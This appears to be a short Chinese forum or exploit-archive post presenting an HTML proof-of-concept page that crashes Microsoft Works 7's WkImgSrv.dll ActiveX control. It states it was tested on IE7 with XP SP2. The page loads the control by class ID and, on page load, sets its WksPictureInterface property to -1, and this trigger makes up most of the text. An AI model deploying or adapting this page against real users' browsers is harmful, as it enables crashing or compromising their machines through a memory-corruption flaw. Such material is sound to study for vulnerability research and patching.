dll版本7.03.0616.0
IE7+xpsp2 测试通过。
转载请注明出处并保持完整性，谢谢。
<html> <head> <title>Microsoft Works 7 WkImgSrv.dll crash POC</title> <script language="JavaScript"> function payload() { var num = -1; obj.WksPictureInterface = num; } </script> </head> <body onload="JavaScript: return payload();"> <object classid="clsid:00E1DB59-6EFD-4CE7-8C0A-2DA3BCAAD9C6" id="obj"> </object> </body> </html>
QQ：19765126 欢迎交流
